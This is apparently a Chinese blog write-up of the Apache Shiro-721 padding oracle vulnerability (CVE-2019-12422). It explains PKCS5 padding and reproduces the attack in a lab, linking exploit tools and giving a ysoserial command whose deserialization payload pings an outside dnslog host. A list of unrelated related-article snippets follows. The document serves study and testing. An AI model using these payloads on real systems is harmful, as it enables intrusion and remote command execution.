Shiro-721—漏洞分析(CVE-2019-12422)
文章目录
- Padding Oracle Attack 原理
- PKCS5填充
- 怎么爆破攻击
- 漏洞原理
- 源码分析
- 漏洞复现
本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353
Padding Oracle Attack 原理
网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理。
PKCS5填充
padding有很多种方式,shiro使用了PKCS5的填充方式:
如下图所示(找规律能找出来么?):
意思就是:
约定 :*
表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** **
,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5
规则,因为差一个字节,所以填充01。
上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** **
,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不用再过多理解。
ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示)
** ** ** ** ** ** ** **
08 08 08 08 08 08 08 08
怎么爆破攻击
首先我们需要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1;
当返回值小于0时,调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe
。
其实这里只需要知道若攻击失败了就会返回deleteMe即可。。。
这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。
漏洞原理
原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC
加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是:
需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破
来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也说明了为啥一定要有合法通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证
不知各位道友搞懂了没,总之我的看法就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。
源码分析
偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。
漏洞复现
使用vulfocus靶场复现
话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2
接着直接爆破利用链即可
直接就能执行命令了
接着下面介绍如何通过已知cookie,生成payload,手动修改cookie进行攻击。
登录记得勾选Remember Me
抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。
-
首先使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class
-
通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
使用你刚刚用cookie生成的
payload.class
-
漫长等待后,拿到pad数据后直接丢到cookie上面
接着看你自己的dnslog日志即可查看是否攻击成功了 。
参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165
相关文章:

Shiro-721—漏洞分析(CVE-2019-12422)
文章目录 Padding Oracle Attack 原理PKCS5填充怎么爆破攻击 漏洞原理源码分析漏洞复现 本文基于shiro550漏洞基础上分析,建议先看上期内容: https://blog.csdn.net/weixin_60521036/article/details/142373353 Padding Oracle Attack 原理 网上看了很多…...

【Python语言初识(一)】
一、python简史 1.1、python的历史 1989年圣诞节:Guido von Rossum开始写Python语言的编译器。1991年2月:第一个Python编译器(同时也是解释器)诞生,它是用C语言实现的(后面),可以调…...

Python 中的方法解析顺序(MRO)
在 Python 中,MRO(Method Resolution Order,方法解析顺序)是指类继承体系中,Python 如何确定在调用方法时的解析顺序。MRO 决定了在多继承环境下,Python 如何寻找方法或属性,即它会根据一定规则…...

MySQL表的内外连接
内连接 其实就是from 两个表 把笛卡尔积的表 再用where 进行条件筛选 ——之前我们写的多表查询就是内连接 基本格式: 外链接 没有向内连接那样真的把两个表连接形式一个表显示,而只是建立关系 外连接分为左链接和右链接 左链接 联合查询时候&#…...
系统架构设计师:软件架构的演化和维护
简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师:软件架构的演化和维护前言软件架构演化的重要性面向对象的软件架构演…...
QT的dropEvent函数进入不了
在使用QT想实现拖拽功能的时候,发现了dropEvent没有调用运行,遂查找原因: 首先是网上都说要在dragEnterEvent里面使用event->accept(); 但我这边在出现问题之前就已经这样做了: void CanvasView::dragEnterEvent(QDragEnterEv…...

Spring Boot 入门
前言 Spring Boot 是一个开源的 Java 基础框架,用于创建独立、生产级的基于 Spring 的应用程序。它简化了基于 Spring 的应用开发,通过提供一系列的“起步依赖”来快速启动和运行 Spring 应用。本文将带你深入了解 Spring Boot 的核心概念、关键特性&am…...
LDD学习2--Scull(TODO)
《Linux Device Drivers》(LDD)书籍中的 scull(Simple Character Utility for Loading Localities)是一个用于演示 Linux 字符设备驱动程序编写的示例代码。它为理解 Linux 内核模块和字符设备驱动程序的编写提供了基础实践平台&a…...
【算法-堆排序】
堆排序是一种基于堆这种数据结构的比较排序算法,它是一种原地、不稳定的排序算法,时间复杂度为 O(n log n)。堆排序的基本思想是将数组构建成一个二叉堆,并通过反复调整堆顶和未排序部分之间的关系来实现排序。 堆的定义 堆是一种特殊的完全…...

音视频入门基础:AAC专题(4)——ADTS格式的AAC裸流实例分析
音视频入门基础:AAC专题系列文章: 音视频入门基础:AAC专题(1)——AAC官方文档下载 音视频入门基础:AAC专题(2)——使用FFmpeg命令生成AAC裸流文件 音视频入门基础:AAC…...

【第33章】Spring Cloud之SkyWalking服务链路追踪
文章目录 前言一、介绍1. 架构图2. SkyWalking APM 二、服务端和控制台1. 下载2. 解压3. 初始化数据库4. 增加驱动5. 修改后端配置6. 启动7. 访问控制台8. 数据库表 三、客户端1. 下载2. 设置java代理3. idea配置3.1 环境变量3.2 JVM参数3.3 启动日志 4. 启用网关插件 四、链路…...

如何选择OS--Linux不同Distribution的选用
写在前言: 刚写了Windows PC的不同editions的选用,趁热,把Linux不同的Distribution选用也介绍下,希望童鞋们可以了解-->理解-->深入了解-->深入理解--...以致于能掌握特定版本的Linux的使用甚者精通。……^.^…… so&a…...
cesium效果不酷炫怎么办--增加渲染器
DrawCommand 可以发挥 WebGL 全部潜力吗? 回答: Cesium 的 DrawCommand 是一个用于表示 WebGL 渲染管线中单个绘制调用的低级抽象。它封装了执行 WebGL 绘制所需的所有信息,包括着色器程序、顶点数组、渲染状态、统一变量(unifo…...

计算机网络:概述 --- 体系结构
目录 一. 体系结构总览 1.1 OSI七层协议体系结构 1.2 TCP/IP四层(或五层)模型结构 二. 数据传输过程 2.1 同网段传输 2.2 跨网段传输 三. 体系结构相关概念 3.1 实体 3.2 协议 3.3 服务 这里我们专门来讲一下计算机网络中的体系结构。其实我们之前…...

DEPLOT: One-shot visual language reasoning by plot-to-table translation论文阅读
文章链接:https://arxiv.org/abs/2308.01979http://arxiv.org/abs/2212.10505https://arxiv.org/abs/2308.01979 源码链接:https://github.com/cse-ai-lab/RealCQA 启发:two-stage方法可能是未来主要研究方向,能够增强模型可解释…...

从 HDFS 迁移到 MinIO 企业对象存储
云原生、面向 Kubernetes 、基于微服务的架构推动了对 MinIO 等网络存储的需求。在云原生环境中,对象存储的优势很多 - 它允许独立于存储硬件对计算硬件进行弹性扩展。它使应用程序无状态,因为状态是通过网络存储的,并且通过降低操作复杂性&a…...
Rust 常见问题汇总
问题1: cargo build 一直提示Blocking waiting for file lock on package cache。 在 cargo.toml 文件中添加了依赖之后,运行 cargo build 命令时,如果卡在 blocking waiting for file lock on package cache lock 这里, 后来发…...
java泛型类与泛型方法
Java泛型类和泛型方法是Java泛型编程中的重要组成部分。它们允许开发者编写类型安全且高度复用的代码。下面详细介绍泛型类和泛型方法的概念、用法和示例。 泛型类 泛型类是在类定义中使用类型参数的类,可以指定具体的类型实例化该类。这样可以确保类型安全&#…...
Android String资源文件中,空格、换行以及特殊字符如何表示
空格: 例:<string name"test">test test</string> 换行:\n 例:<string name"test">test \n test</string> tab:\t …...
CUDA及GPU学习资源汇总
CUDA C Programming Guide 的中文翻译版GPU中的SM和warp的关系推荐几个不错的CUDA入门教程CUDA编程入门极简教程...

Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
Python爬虫实战:研究feedparser库相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...

Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...